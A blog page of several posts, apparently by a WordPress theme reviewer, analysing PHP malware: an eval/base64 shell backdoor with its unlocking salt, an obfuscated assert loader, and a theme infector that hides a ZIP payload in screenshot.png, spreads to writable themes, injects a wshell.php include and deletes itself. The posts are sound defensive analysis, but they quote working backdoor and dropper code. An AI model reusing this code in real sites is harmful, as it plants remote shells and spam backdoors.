Posts tagged ‘malware’

I was alerted to this tweet by @andrea_r this morning:

Here’s the code in question:

@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:


So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.


In the WordPress world, security is always a prime concern, and for obvious reasons. It’s a major target for spammers, what with 30 million sites and what have you. So there’s a lot of security plugins to do scanning on your files, there’s file monitor plugins which work by simply noticing changes to the files of any sort, we do scans in the theme check process, etc.

I’ve gotten a few responses back to some of my malware related posts asking why WordPress doesn’t check for this sort of thing in the core code. Why can’t WordPress check for the existence of “eval” and such in a plugin before it runs it? Well, I’ll show you.

Securi covered the “Pharma” attack several months ago, but nobody seemed to notice the important bit of code that shows why WordPress can’t do scanning in core. Fact of the matter is that the hacks have already gone well beyond scanning for strings and such.

Take this code for example:

<?php $XZKsyG='as';$RqoaUO='e';$ygDOEJ=$XZKsyG.'s'.$RqoaUO.'r'.'t';$joEDdb='b'.$XZKsyG.$RqoaUO.(64).'_'.'d'.$RqoaUO.'c'.'o'.'d'.$RqoaUO;@$ygDOEJ(@$joEDdb(long long string here)..

What does that do? Well, in short, that’s an eval(base64_decode()); Here it is again, broken down with newlines and such:

@$ygDOEJ(@$joEDdb(long long string here)..

Those third and fourth lines are important, so lets fill in the two variables there with the ‘as’ and ‘e’ from above it:


And we have “assert” and “base64_decode” once again. The assert function will also evaluate strings as PHP code, BTW. It’s really just an eval in another form.

The final line uses something about PHP that some people may not know. If I have a variable with a string in it, then I can call a function with that strings name by using the variable instead of the function name. In other words, this works:

function do_something() { }
$var = 'do_something';

Now tell me, how you gonna scan for something like that?

Determining whether a piece of code is malicious or not is basically equivalent to the halting problem. You can’t do it programmatically. Not really. If WP added code to the core to try to detect and stop this sort of thing, the spammers would simply modify their code so that the core couldn’t detect it anymore.

Why get into an arms race? It’s better to concentrate on making WordPress itself secure and to try to educate both users and hosts about good security practices. Most hacked sites get hacked via insecure server configurations, not through WordPress itself.

So scanning is pointless. So why do we still do it for theme check and such? Because not all malicious code is as cleverly written, and so some basic scanning is indeed somewhat effective. And the goal there is simply to weed out the problems. All of the theme checking is done by human eyeballs, the scanning tools just ensure a minimal level of theme capabilities and make pruning that much quicker.


As I’ve gotten involved with helping the theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.

However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called

It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.

So today, I’m going to dissect it and serve it up on a platter for everybody to see.

Infection Point

We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:

function get_custom_headers() {
    $_SESSION['authenticated'] = false;
    $filename = dirname(__FILE__).DS."screenshot.png";

Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.

    $fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename));
    $screenshot = array_shift($fileContents);

The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.

In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.

    $unzipped = false;
    $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);

The check_istalled_path function looks for a wp-additional directory and returns a path to it.

    if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "") {
	if(function_exists("zip_read")) {
	    $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT'])));
	    @mkdir($path = $path.DS."wp-additional");

	    file_put_contents($path.DS."", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents));
	    $zip = new ZipArchive;
	    if ($zip->open($path.DS."")===true) {

		$unzipped = true;
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php  if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));

If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.

Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.

So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.

But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:

    } else {
	if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "") {
	    $path = $_SERVER['DOCUMENT_ROOT'].DS.$path;
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));

It found the malware, so it simply rewrites itself to make sure it includes it.

The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.

Next we have self-eliminating code:

    @file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__))));
    @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);

What does this code do? Well, it erases itself from the file!

This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.

Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.

Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.

    if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "") {

This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.

Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.

The Malware

So what is this malware? Well, there’s two parts to it.

The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.

The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.

The first thing it does is to notify its master that it exists. It does this by making a connection to and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.

The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.

The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.

Essentially, it’s a remote-controlled automated link spamming tool.

The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.


In short, don’t trust dodgy theme sites. Get your free themes from Extend-Themes instead.

Also, this sort of thing should tell you why we ban certain types of things from the theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.